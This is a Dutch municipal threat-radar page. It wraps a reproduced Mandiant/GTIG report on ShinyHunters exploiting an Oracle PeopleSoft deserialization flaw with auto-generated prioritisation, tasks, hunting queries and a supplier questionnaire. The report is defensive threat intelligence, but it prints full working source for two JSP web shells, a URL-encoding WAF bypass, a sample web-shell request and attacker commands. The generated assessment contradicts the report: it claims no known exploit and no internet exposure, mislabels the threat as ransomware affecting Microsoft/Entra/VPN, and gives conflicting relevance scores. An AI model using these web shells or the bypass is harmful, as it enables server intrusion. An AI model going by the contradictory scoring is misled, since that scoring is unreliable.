Introduction As an update to the June 2026 post, ShinyHunters Targets Education Sector with Oracle PeopleSoft Exploit , Mandiant and Google Threat Intelligence Group (GTIG) have identified renewed mass exploitation of CVE-2026-35273 by UNC6240 (ShinyHunters), along with expanded global targeting across multiple sectors. In June, the threat actor exploited this vulnerability as a zero-day predominantly against academic institutions. This new wave of activity stems from UNC6240 modifying its exploit to bypass web application firewall (WAF) rules blocking the vulnerable Environment Management Hub
Exploiteerbaarheid: geen exploit bekend. Blootstelling: niet internet-facing / geen bekende blootstelling. Gemeentelijke relevantie: geen match met de gemeentelijke context. Impact: continuïteit/crisis: kerndienstverlening bedreigd. Bronvertrouwen: middel.
Scorecomponenten
geen exploit bekend
niet internet-facing / geen bekende blootstelling
geen match met de gemeentelijke context
continuïteit/crisis: kerndienstverlening bedreigd
beperkt bevestigd
geen mitigatie bekend
Prioriteit: verhoogd
Aanbevolen reactietijd: deze week beoordelen
Verhoogd (55/100) — deze week beoordelen. Bepalend: gemeentelijke relevantie (100/100) en handelingsurgentie (54/100). Beoordeel dit deze week en bepaal of gerichte actie nodig is. Deze prioritering is regelgebaseerd en navolgbaar; weeg de aannames en onzekerheden mee voor de eigen gemeentelijke omgeving.
verhoogd — De technische ernst is gemiddeld: impact is mogelijk, maar niet vanzelfsprekend ernstig.
laag — Er zijn geen concrete aanwijzingen voor misbruik.
zeer hoog — Dit raakt technologie of processen die bij vrijwel elke Nederlandse gemeente in gebruik zijn.
verhoogd — Plan beoordeling en opvolging in; directe actie is nu niet vereist.
Positieve factoren
De categorie 'ransomware' verhoogt de technische ernst.
Bron: Categorisering door de verrijkingspijplijn
De dreiging raakt identity-, Microsoft 365- of Entra-technologie die vrijwel elke gemeente gebruikt.
Bron: Technologieherkenning in titel, samenvatting en labels
De dreiging raakt remote access of VPN (zoals Citrix, Fortinet, Ivanti of Palo Alto): vaak direct vanaf internet bereikbaar.
Bron: Technologieherkenning in titel, samenvatting en labels
Remote access en VPN zijn direct vanaf internet bereikbaar en een geliefd doelwit; dit verhoogt de urgentie.
Bron: Technologieherkenning in titel, samenvatting en labels
Negatieve factoren
De zekerheid is 'likely'; een onbevestigd signaal verlaagt de urgentie tot het is geverifieerd.
Bron: Zekerheidsinschatting van de radar
Aannames
Onzekerheden
Deze prioritering is regelgebaseerd en navolgbaar. Een CISO kan deze onderbouwing gebruiken richting directie of ICT-management; stem de opvolging af op de eigen gemeentelijke omgeving.
14 concrete acties verdeeld over 7 rol(len). Aanbevolen reactietijd: deze week beoordelen.
Taken voor CISO
Laat vaststellen of de getroffen component of het proces binnen de gemeente in gebruik is.
Bewijs vereist: Bevestiging in/uit gebruik door ICT-beheer.
Wijs per actie een eigenaar en deadline toe en bewaak dat de acties worden afgerond.
Laat bevestigen dat de patchstatus en mitigerende maatregelen voor de remote-accessvoorziening op orde zijn.
Bewijs vereist: Bevestiging van het beheerteam of de leverancier.
CISO
Laat vaststellen of de getroffen component of het proces binnen de gemeente in gebruik is.
Bewijs vereist: Bevestiging in/uit gebruik door ICT-beheer.
Wijs per actie een eigenaar en deadline toe en bewaak dat de acties worden afgerond.
Laat bevestigen dat de patchstatus en mitigerende maatregelen voor de remote-accessvoorziening op orde zijn.
Bewijs vereist: Bevestiging van het beheerteam of de leverancier.
ISO / patchmanagement
Controleer of een patch of mitigatie beschikbaar is en bepaal de deadline voor opvolging.
Bewijs vereist: Patch- of mitigatieoverzicht met versienummers.
SOC
Let op afwijkende of mislukte aanmeldingen en sessies op VPN of remote access.
Onderzoek endpoints en logs op bekende ransomware-indicatoren.
Bewijs vereist: Conclusie van het endpoint- en logonderzoek.
Let op verdachte aanmeldingen, tokenmisbruik en wijzigingen in rechten.
ICT-beheer
Breng in kaart welke systemen, applicaties of accounts de kwetsbare component bevatten.
Bewijs vereist: Lijst van geraakte systemen uit de CMDB of inventaris.
Beperk waar mogelijk de internettoegang tot de remote-accessvoorziening tot de patch is uitgevoerd.
Bevestig dat actuele, geisoleerde back-ups beschikbaar zijn en dat herstel getest is.
Bewijs vereist: Bevestiging van een geslaagde back-up- en hersteltest.
Controleer MFA, conditional access en rechten op de getroffen identity- of Microsoft 365-omgeving.
Bewijs vereist: Vastgelegde configuratiecontrole.
Functioneel beheer
Controleer of de geraakte applicatie of koppeling extra aandacht nodig heeft.
Proceseigenaar
Beoordeel wat de dreiging betekent voor de continuiteit van het geraakte proces.
Directie
Wees voorbereid op besluitvorming over de continuiteit bij een geslaagde aanval.
De acties zijn regelgebaseerd gegenereerd. Stem ze af op de eigen gemeentelijke omgeving en wijs per actie een eigenaar en deadline toe.
Relevante logbronnen
MITRE ATT&CK — tactieken
MITRE ATT&CK — technieken
Huntingvragen
KQL-huntingqueries (Microsoft Sentinel)
Defender-waarschuwingen rond endpointcompromittatie
Toont waarschuwingen van Microsoft Defender for Endpoint met een hoge of gemiddelde ernst.
// Defender-waarschuwingen rond endpointcompromittatie
SecurityAlert
| where TimeGenerated > ago(7d)
| where ProductName == "Microsoft Defender for Endpoint"
| where AlertSeverity in ("High", "Medium")
| project TimeGenerated, AlertName, AlertSeverity, CompromisedEntity,
Description
| order by TimeGenerated descFalse positives: Beheertooling en pentests kunnen legitieme waarschuwingen genereren.
Pieken in mislukte aanmeldingen
Toont bronnen met veel mislukte aanmeldingen - mogelijk password spraying of brute force.
// Pieken in mislukte aanmeldingen (mogelijk password spraying)
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType != 0
| summarize Mislukt = count(), Accounts = dcount(UserPrincipalName)
by IPAddress, bin(TimeGenerated, 1h)
| where Mislukt > 20 or Accounts > 5
| order by Mislukt descFalse positives: Verlopen wachtwoorden en verkeerd geconfigureerde clients leveren legitieme pieken op.
Aanmeldingen vanuit onbekende landen
Toont geslaagde aanmeldingen vanuit landen buiten het verwachte werkgebied.
// Aanmeldingen vanuit onverwachte landen
let bekendeLanden = dynamic(["NL", "BE", "DE"]);
SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType == 0
| where isnotempty(Location) and Location !in (bekendeLanden)
| summarize Aanmeldingen = count() by UserPrincipalName, Location
| order by Aanmeldingen descFalse positives: Vakanties, grensregio's en cloud-egress kunnen onverwachte landen tonen.
Impossible travel-risicodetecties
Toont aanmeldingen die Entra ID Protection markeert als 'impossible travel' of onbekende kenmerken - mogelijk overgenomen sessies.
// Impossible travel-risicodetecties (Entra ID Protection)
AADUserRiskEvents
| where TimeGenerated > ago(7d)
| where RiskEventType in ("impossibleTravel", "unfamiliarFeatures",
"anonymizedIPAddress")
| project TimeGenerated, UserPrincipalName, RiskEventType, RiskLevel,
IpAddress, Location
| order by TimeGenerated descFalse positives: VPN's, mobiele netwerken en cloud-egress kunnen een legitieme aanmelding als onmogelijke reis laten ogen.
Indicators of compromise
| Type | Waarde | Betrouwbaarheid | TLP |
|---|---|---|---|
| Bestandshash | 48b4a0827da7bbfce9fb52464f8a659dea7a035189c52c506c0bfb4b1c3fe494 | Middel | TLP:CLEAR |
| Bestandshash | 2bee941fb40519d0d1ec52bd79a8f63fc65aac6455c8f2d6b668e3360dfdb5d7 | Middel | TLP:CLEAR |
| Bestandshash | 419c571ee38b7e7266d130c4b6bbc4dd0ef44d6e5f3bc02cc2cf73b762f07c86 | Middel | TLP:CLEAR |
| Bestandshash | ba14419beb2ec0bb94cab6298c14d7fb3e1d819366fe378290c0c2a4d97f7e07 | Middel | TLP:CLEAR |
| Bestandshash | 3ba215692665513abfffd4e815c5c45f2d41e5dcc4283a2a3b740930c5c417c3 | Middel | TLP:CLEAR |
| IP-adres | 104.219.234.138 | Middel | TLP:CLEAR |
| IP-adres | 5.199.162.157 | Middel | TLP:CLEAR |
| IP-adres | 162.219.30.165 | Middel | TLP:CLEAR |
False-positive-aandachtspunten
Beheerscripts, software-uitrol en back-uptaken kunnen op ransomwaregedrag lijken. Verifieer met de changekalender en de beheerteams.
Deze informatie is uitsluitend defensief: detectie en hunting. De KQL-queries zijn read-only en bedoeld voor Microsoft Sentinel.
Vragenlijst
E-mailonderwerp
Uitvraag kwetsbaarheid CVE-2026-35273 — reactie gevraagd
E-mailtekst
Geachte heer/mevrouw, Naar aanleiding van een beveiligingsmelding met kenmerk CVE-2026-35273 doet onze gemeente een uitvraag bij u als leverancier. Deze uitvraag dient ter verificatie en feitenvaststelling: wij willen vaststellen of en in welke mate de aan onze gemeente geleverde dienstverlening wordt geraakt. Het betreft mogelijk het product of onderdeel "Opensource". Wij verzoeken u de onderstaande vragen volledig en onderbouwd te beantwoorden en uw reactie binnen tien (10) werkdagen na ontvangst van dit bericht schriftelijk aan te leveren bij de informatiebeveiligingsfunctie van onze gemeente. Zijn bepaalde gegevens nog niet beschikbaar, dan ontvangen wij graag een tussentijdse terugkoppeling. Vragen: 1. Gebruikt u de kwetsbare component of het geraakte product? 2. Welke versies zijn bij u in gebruik? 3. Is de kwetsbaarheid van toepassing op de dienstverlening aan onze gemeente? 4. Is de kwetsbaarheid inmiddels gepatcht? 5. Zo ja, op welke datum is de patch doorgevoerd? 6. Zo nee, welke mitigerende maatregelen zijn genomen? 7. Is er actief misbruik van de kwetsbaarheid geconstateerd? 8. Is er logging of forensisch onderzoek uitgevoerd? 9. Is er sprake van een risico op een datalek? 10. Wanneer verwacht u een definitieve oplossing door te voeren? 11. Welke restrisico's blijven na de oplossing bestaan? 12. Welke communicatie mogen wij richting onze interne stakeholders gebruiken? Deze uitvraag is bedoeld om de feiten vast te stellen en gezamenlijk tot een passende opvolging te komen. Wij stellen uw tijdige medewerking op prijs. Met vriendelijke groet, [Naam] Namens de informatiebeveiligingsfunctie Gemeente [Gemeente]
Vul vóór verzending de afzender en gemeentenaam in. De tekst is zakelijk en gericht op feitenvaststelling; pas hem aan op de eigen situatie.
Deze dreiging raakt de onderstaande governance-thema's. Met de aanbevolen bewijsstukken kunt u aantonen dat het signaal is opgevolgd — bruikbaar voor BIO2, NIS2/CBW, ISMS en de ENSIA-verantwoording.
Ransomware kan de continuïteit van gemeentelijke dienstverlening ontwrichten.
Aanbevolen bewijs: Actueel continuïteits- of uitwijkplan en een uitgevoerde test.
Geïsoleerde, geteste back-ups zijn de belangrijkste maatregel tegen ransomware.
Aanbevolen bewijs: Bevestiging van een geslaagde back-up- en hersteltest.
De dreiging vraagt om paraatheid van het incidentproces.
Aanbevolen bewijs: Incidentprocedure en, bij een incident, het incidentlogboek.
Een geslaagde aanval vraagt om gestructureerde incidentbehandeling.
Aanbevolen bewijs: Incidentregistratie en de genomen beheersmaatregelen.
Bij een significant incident kan een meldplicht bij de toezichthouder gelden.
Aanbevolen bewijs: Afweging van de meldplicht (NIS2/CBW en AVG), vastgelegd.
De dreiging en de opvolging ervan horen thuis in de periodieke rapportage aan het management en de directie.
Aanbevolen bewijs: Vermelding in de CISO- of directierapportage informatiebeveiliging.
De radar legt de beoordeling, prioritering en opvolging navolgbaar vast.
Aanbevolen bewijs: Scoringonderbouwing, actiekaart en statusgeschiedenis uit de radar.
Aantoonbare opvolging draagt bij aan de jaarlijkse ENSIA-verantwoording over de BIO.
Aanbevolen bewijs: Overzicht van opgevolgde dreigingen voor de ENSIA-zelfevaluatie.
Introduction As an update to the June 2026 post, ShinyHunters Targets Education Sector with Oracle PeopleSoft Exploit , Mandiant and Google Threat Intelligence Group (GTIG) have identified renewed mass exploitation of CVE-2026-35273 by UNC6240 (ShinyHunters), along with expanded global targeting across multiple sectors. In June, the threat actor exploited this vulnerability as a zero-day predominantly against academic institutions. This new wave of activity stems from UNC6240 modifying its exploit to bypass web application firewall (WAF) rules blocking the vulnerable Environment Management Hub (PSEMHUB) endpoint. The threat actor bypassed these string-based WAF rules by URL-encoding a single character in the request path, requesting /%50SEMHUB/ in place of /PSEMHUB/ . Many WAF and reverse proxy rules match the literal path before URL decoding, while the PeopleSoft application server decodes the request and routes it to the vulnerable servlet. This allows the threat actor to reach the endpoint on systems whose operators may have believed their WAF rules had mitigated the exposure. Our analysis indicates that the threat actor expanded their targeting in this recent campaign, deploying web shells on dozens of systems globally, spanning higher education, technology, IT services, healthcare, agriculture, transportation, and government. Mandiant recommends that organizations running Oracle PeopleSoft take the following immediate actions. Additional remediation and hardening guidance is included later in this post. Remediation and Hardening Quick Guide Apply the Oracle Security Alert patch for CVE-2026-35273. WAF rules and path-based blocking are not a substitute for patching. Disable the Environment Management Hub (EMHub) service in multi-server configurations, or remove the PSEMHUB application entirely in single-server configurations, as advised in Oracle's security alert guidance . Search PIA WebLogic access logs for requests to /PSEMHUB/ and any percent-encoded variant (for example, /%50SEMHUB/ ), particularly POST requests to /hub and requests to .jsp files from external source IP addresses. Inspect <PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/ for files that are not part of the shipped product, including but not limited to x.jsp , u.jsp , tunnel.jsp , tunnel.jspx , and Ple64.exe . Rotate credentials readable by the PeopleSoft application service account, including database connection strings in psappsrv.cfg , Integration Broker credentials, and any cloud credentials reachable from the web tier. Monitor outbound traffic from PeopleSoft hosts to the network indicators listed in this post, and review endpoints for unexpected MeshCentral agents. Figure 1: Remediation and hardening quick guide Background: From Zero-Day to N-Day In June 2026, we reported a UNC6240 campaign that exploited CVE-2026-35273 as a zero-day between May 27 and June 9, 2026, predominantly against higher education institutions. Oracle released an out-of-band Security Alert on June 10, 2026. Mandiant’s June guidance recommended patching and, where patching or disabling EMHub was not immediately possible, blocking external access to /PSEMHUB/* at the perimeter, noting that WAF body-inspection rules alone were insufficient. The current campaign demonstrates that UNC6240 adapted to published defensive guidance, targeting organizations that implemented WAF rules but did not patch the vulnerability. Attack Lifecycle We observed a consistent sequence of events in targeted PeopleSoft environments, progressing from discovery and verification to web shell deployment and hands-on-keyboard activity. Target Verification Before exploitation, targeted servers typically received five to 15 POST requests to /%50SEMHUB/hub containing a serialized Java object. Unpatched servers respond with the host operating system without writing files or disrupting the service, allowing the threat actor to quietly confirm exploitability. On hosts that the threat actor validated but did not yet exploit, organizations may see this request in logs, with no follow-on activity. WAF Bypass All requests addressed the vulnerable servlet through a url-encoded path. %50 is the encoded form of the character P . WAF and proxy rules that match the literal string /PSEMHUB before decoding do not match /%50SEMHUB/ , while WebLogic decodes the path and serves the application normally. Defenders should assume that threat actors may use any percent-encoded, mixed-case, or otherwise non-normalized variant of /PSEMHUB/ , and should enforce blocking on the normalized path. Figure 2: PSEMHUB WAF bypass Exploitation We observed two exploitation methods, both abusing Java deserialization in the PSEMHUB hub servlet: Web shell deployment. To access web shells behind some load balanced environments, the threat actor sent a burst of multiple POST requests to /%50SEMHUB/hub , followed by the creation of a new JSP files, such as x.jsp , or sequentially numbered JSP files in the PSEMHUB.war directory. The repetition likely ensures that every node behind a load balancer receives a copy of the web shell, so organizations should check all WebLogic nodes, not only the first one identified. Fileless command execution. POST requests to /%50SEMHUB/hub that return command output directly in the HTTP response, with no file written to disk. On the host, this appears as shell processes ( cmd.exe or /bin/sh ) spawned by the WebLogic Java process. Detections that rely on JSP file creation will not identify this method. Post-Exploitation Tooling Dual Web Shells To establish persistent access and stage follow-on payloads, the threat actor deployed two complementary, single-line JSP web shells into the PSEMHUB.war directory. Both shells were designed to minimize web application firewall (WAF) detections during post-exploitation. The primary shell, x.jsp , provides cross-platform command execution. Rather than passing cleartext commands in URL query strings, x.jsp accepts hex-encoded commands via HTTP POST ( c ) along with an optional execution timeout ( t ). It automatically detects the underlying operating system, spawning cmd.exe on Windows or reconstructing /bin/sh from an ASCII character array on Linux to avoid static string signatures, and returns the process output prefixed with R: . <%@ page import="java.util.*,java.io.*" %><% String h = request.getParameter("c"); String ts = request.getParameter("t"); if (h != null) { int t = ts != null ? Integer.parseInt(ts) : 30; StringBuilder cs = new StringBuilder(); for (int i = 0; i + 1 < h.length(); i += 2) { cs.append((char) Integer.parseInt(h.substring(i, i + 2), 16)); } String c = cs.toString(); boolean wn = System.getProperty("os.name").toLowerCase().contains("win"); Process p = new ProcessBuilder( wn ? new String[]{"cmd.exe", "/c", c} : new String[]{new String(new char[]{47,98,105,110,47,115,104}), "-c", c} ).start(); InputStream a = p.getInputStream(); InputStream g = p.getErrorStream(); byte[] b = new byte[8192]; int n; StringBuilder sb = new StringBuilder(); long end = System.currentTimeMillis() + t * 1000L; while (System.currentTimeMillis() < end) { if (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); } else if (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); } else { try { p.exitValue(); break; } catch (IllegalThreadStateException e2) { try { Thread.sleep(40); } catch (Exception e3) {} } } } while (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); } while (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); } out.print("R:" + sb.toString()); } %> Figure 3: x.jsp cross-platform command execution web shell (formatted for readability) When staging larger binaries on compromised Windows hosts, the threat actor deployed a second servlet, u.jsp (along with an offset-based variant, u2.jsp ). This shell decodes Base64-encoded file chunks ( a ) and writes or appends them ( m ) to a target path ( n ) in 150 KB increments, bypassing HTTP request-size limits and avoiding PeopleSoft's native FILECHUNKING handlers. It also includes a secondary parameter ( x ) to execute cmd.exe commands once file reassembly is complete. <%@ page import="java.util.*,java.io.*,java.nio.file.*" %><% String n = request.getParameter("n"); String a = request.getParameter("a"); String m = request.getParameter("m"); if (n != null && a != null) { try { byte[] b = java.util.Base64.getDecoder().decode(a); if ("a".equals(m)) { java.io.FileOutputStream f = new java.io.FileOutputStream(n, true); f.write(b); f.close(); } else { java.nio.file.Files.write(java.nio.file.Paths.get(n), b); } out.print("W:" + b.length); } catch (Exception e) { out.print("E:" + e); } } String x = request.getParameter("x"); if (x != null) { try { ProcessBuilder pb = new ProcessBuilder(new String[]{"cmd.exe", "/c", x}); pb.redirectErrorStream(true); Process p = pb.start(); java.io.InputStream i = p.getInputStream(); byte[] buf = new byte[8192]; int k; StringBuilder sb = new StringBuilder(); long end = System.currentTimeMillis() + 12000; while (System.currentTimeMillis() < end) { if (i.available() > 0) { k = i.read(buf); if (k > 0) sb.append(new String(buf, 0, k)); } else { try { p.exitValue(); break; } catch (Exception e2) { Thread.sleep(30); } } } out.print("R:" + sb.toString()); } catch (Exception e) { out.print("X:" + e); } } %> Figure 4: u.jsp chunked file upload and execution web shell (formatted for readability) Trojanized Installer and Multi-Stage Backdoor ( Ple64.exe ) On compromised Windows servers, the threat actor used u.jsp (and u2.jsp ) to upload and execute a 5.2 MB binary named Ple64.exe (tracked as SIDEEYE) inside the PSEMHUB.war directory. While Ple64.exe masquerades as a signed installer for the Light Alloy media player, analysis revealed that it is a trojanized installer containing a three-stage execution chain that loads SIDEEYE in memory. The analyzed sample was signed with a valid Extended Validation (EV) certificate issued to Tobias Weihmann Software Development OU via Sectigo. GTIG has contacted Sectigo for revocation of this certificate. When executed, Ple64.exe (Stage 1) decompresses and loads a VMProtect 3 (VMP3)-protected second-stage launcher into memory. This launcher decrypts additional data blocks embedded within Ple64.exe and loads and executes the third stage in memory. Stage 3 is the SIDEEYE C++ backdoor that communicates with its command-and-control (C2) server ( 162[.]219[.]30[.]165 ) over raw TCP using separate control ( TCP/3333 ) and data ( TCP/3334 ) ports. Initial analysis indicates that SIDEEYE supports: Browser and desktop application credential theft Process and file management Interactive reverse shell and reverse proxy capabilities After uploading the binary in chunks via u.jsp , the threat actor verified the reassembled file size on disk, launched Ple64.exe as a background process, and confirmed that it remained running: dir applications\peoplesoft\PSEMHUB.war\Ple64.exe for %F in (applications\peoplesoft\PSEMHUB.war\Ple64.exe) do @echo %~zF cmd.exe /c start /b "" applications\peoplesoft\PSEMHUB.war\Ple64.exe tasklist | findstr /i Ple64 Figure 5: Threat actor verifying upload and execution of the trojanized Ple64.exe (SIDEEYE) backdoor Tunneling with Neo-reGeorg Alongside the deployment of Ple64.exe , the threat actor staged the open-source Neo-reGeorg tunneling toolkit and deployed its tunnel.jsp and tunnel.jspx servlets into victim web directories. This toolkit routes SOCKS5 proxy traffic through ordinary HTTP and HTTPS connections to the web tier, enabling internal discovery and lateral movement from the PeopleSoft host. MeshAgent To establish persistent access after web shell placement on Linux systems, UNC6240 deployed the legitimate RMM tool MeshAgent. In earlier May and July 2026 intrusions, the actor dropped unencrypted agent binaries and configuration files directly into /tmp ( meshagent , meshagent.msh , and meshagent.db ) under the PeopleSoft service account, routing outbound connections to Microsoft-masquerading domains including azurenetfiles.net , microsoft-entra.net , and enroll.azuredevice.cloud . In September 2026 intrusions, UNC6240 continued to use IT-themed infrastructure associated with MeshAgent ( winmanage-me.network on 104.219.234.138 ) for secondary staging and management. MeshCentral is a legitimate open-source remote management platform that threat actors, including UNC6240, use to maintain interactive access to victim systems over web sockets. Observed Post-Exploitation Commands Across compromised instances, a quarter of the threat actor's commands executed as root or NT Authority\SYSTEM , granting full control of the operating system. The remaining commands were executed under PeopleSoft or WebLogic service accounts, which still provide access to PeopleSoft configuration files, database connection strings, and application data. Command activity through the web shells fell into several categories: Host and user discovery, including hostname and whoami . Process verification, polling process listings with tasklist to verify payload execution. An example web shell request using the encoded path follows: GET /%50SEMHUB/<webshell>.jsp?c=id;hostname;uname+-a HTTP/1.1 Figure 6: Example web shell request Remediation and Hardening Patch and Reduce Exposure Apply the Oracle Security Alert for CVE-2026-35273 and remain on supported PeopleTools versions. Disable the EMHub service if it is not used for patching or remove the PSEMHUB application. EMHub and the Integration Broker listening connector are administrative and system-to-system components, and restricting them from public internet access is non-breaking for standard PeopleSoft Internet Architecture (PIA) user sessions. Log and Endpoint Monitoring Search PIA WebLogic access logs for requests to /PSEMHUB/ and encoded variants, POST requests to /hub with bodies from external sources, and requests to unexpected .jsp or .jspx files under PSEMHUB or PORTAL. On hosts, alert on shell processes ( cmd.exe , /bin/sh , bash ) spawned by the WebLogic Java process, particularly those invoking base64 -d , curl , /dev/tcp , tasklist , or start /b . Host-Level Auditing Scan PSEMHUB.war/ and PORTAL.war/ for unexpected .jsp , .jspx , and .exe files, inspect .../PSEMHUB.war/envmetadata/transactions/ for unauthorized content, and check for unexpected MeshCentral agents. Organizations that identify a web shell should treat the host as compromised, preserve evidence, and rotate all credentials accessible from the PeopleSoft tier, prioritizing hosts where the WebLogic service runs as root or SYSTEM . Hunt for Evidence of Data Theft Review PeopleSoft and database hosts for large archive files (.tar, .tar.gz, .zst) in temporary or web-accessible directories, and for tar, zstd, rsync, sshpass, or curl processes spawned by the PeopleSoft or WebLogic service accounts. Review database audit logs for bulk queries or exports against HR, payroll, and student records tables, and network logs for large or sustained outbound transfers from the PeopleSoft tier, including rsync (TCP 873), SSH, and HTTP POST traffic to the network indicators listed in this post. Prepare for Extortion UNC6240 has a well-established pattern of data theft extortion, that is, stealing data and threatening to release it on a data leak site unless the victim pays a ransom. Affected organizations should prepare for extortion communications and monitor for potential public exposure of stolen data. Indicators of Compromise (IOCs) To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a GTI collection for registered users . Network Indicators Indicator Type Description 5.199.162.157 IPv4 Attack controller, scanner, and HTTP callback receiver 104.219.234.138 IPv4 Exfiltration staging and remote management host 162.219.30.165 IPv4 C2 for SIDEEYE backdoor winmanage-me.network Domain Resolves to staging host; MeshCentral infrastructure Table 1: Network indicators Host Indicators <PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/x.jsp <PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/u.jsp <PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/Ple64.exe <PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/tunnel.jsp <PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/tunnel.jspx Figure 7: Host indicators URI pattern: /%50SEMHUB/ (percent-encoded WAF bypass path; defenders should assume that threat actors may use any percent-encoded, mixed-case, or otherwise non-normalized variant of /PSEMHUB/ and enforce blocking on the normalized path). File Indicators File Name SHA-256 Description x.jsp 48b4a0827da7bbfce9fb52464f8a659dea7a035189c52c506c0bfb4b1c3fe494 Primary execution web shell; hashes will vary due to extra newline characters. u.jsp 2bee941fb40519d0d1ec52bd79a8f63fc65aac6455c8f2d6b668e3360dfdb5d7 Execution stager servlet tunnel.jsp 419c571ee38b7e7266d130c4b6bbc4dd0ef44d6e5f3bc02cc2cf73b762f07c86 Neo-reGeorg JSP tunnel (open-source). Hashes will vary by key used. tunnel.jspx ba14419beb2ec0bb94cab6298c14d7fb3e1d819366fe378290c0c2a4d97f7e07 Neo-reGeorg JSPX tunnel (open-source). Hashes will vary by key used. Ple64.exe 3ba215692665513abfffd4e815c5c45f2d41e5dcc4283a2a3b740930c5c417c3 Trojanized installer delivering SIDEEYE backdoor Table 2: File indicators Google Security Operations Google Security Operations customers will have access to the following rules. These rules will be available under the Mandiant Frontline Threats rule pack: Oracle PeopleSoft Configuration Inspection Sshpass Interactive File Deployment Data Archiving or Compression via Zstd Utility MeshCentral Command Execution via Meshctrl Pending deployment in the Mandiant Frontline Threats rule pack: Oracle PeopleSoft Suspicious File Write to Web Application Archive Directory MITRE ATT&CK Mapping Tactic Technique Reconnaissance T1596.003 Search Open Technical Databases: Digital Certificates Reconnaissance T1596.005 Search Open Technical Databases: Scan Databases Reconnaissance T1595.002 Active Scanning: Vulnerability Scanning Initial Access T1190 Exploit Public-Facing Application Defense Evasion T1027 Obfuscated Files or Information Execution T1059.003 Command and Scripting Interpreter: Windows Command Shell Execution T1059.004 Command and Scripting Interpreter: Unix Shell Persistence T1505.003 Server Software Component: Web Shell Discovery T1082 System Information Discovery Discovery T1016 System Network Configuration Discovery Credential Access T1552.001 Unsecured Credentials: Credentials In Files Command and Control T1090 Proxy Command and Control T1219 Remote Access Software Exfiltration T1048 Exfiltration Over Alternative Protocol Table 3: MITRE ATT&CK
Categorie 'ransomware' op basis van trefwoord 'ransom'. Severity 'medium' bepaald op basis van: trefwoord 'zero-day'. Confidence 'likely': afgeleid van de betrouwbaarheidsscore van de bron (0.88). Herkende leveranciers/producten: Microsoft, Entra ID, Linux.
Deze dreiging scoort 85/100 voor de gemeentelijke relevantie. Meegewogen: getroffen internetgerichte technologie, veelgebruikte gemeentelijke technologie, impact op identity of Microsoft 365 en een ransomwarerisico. Geraakte processen: Microsoft 365 en identity, Netwerk en infrastructuur, Back-up en herstel, Crisisbeheersing en continuïteit.
Bestuurlijke duiding
Deze dreiging vraagt om bestuurlijke aandacht. Ransomware kan kernprocessen platleggen en raakt de continuïteit van de dienstverlening aan inwoners. Een succesvolle aanval kan de gemeentelijke dienstverlening direct raken en leiden tot uitval, imagoschade of een datalek met meldplicht. Borg dat de portefeuillehouder en de directie geïnformeerd zijn en dat de opvolging belegd en bewaakt wordt.
Geraakte processen
Geraakte technologie
Betrokken rollen
CISO · ISO · SOC · ICT beheer · Directie · Gemeentesecretaris
Concrete stappen voor ICT-beheer en het securityteam.
Dit zijn algemene handelingsperspectieven. Stem de opvolging af op de eigen omgeving en het ISMS van uw gemeente.
Deel geen vertrouwelijke of persoonsgegevens in dit formulier. Beschrijf je melding algemeen; gevoelige details horen niet op een publieke radar thuis.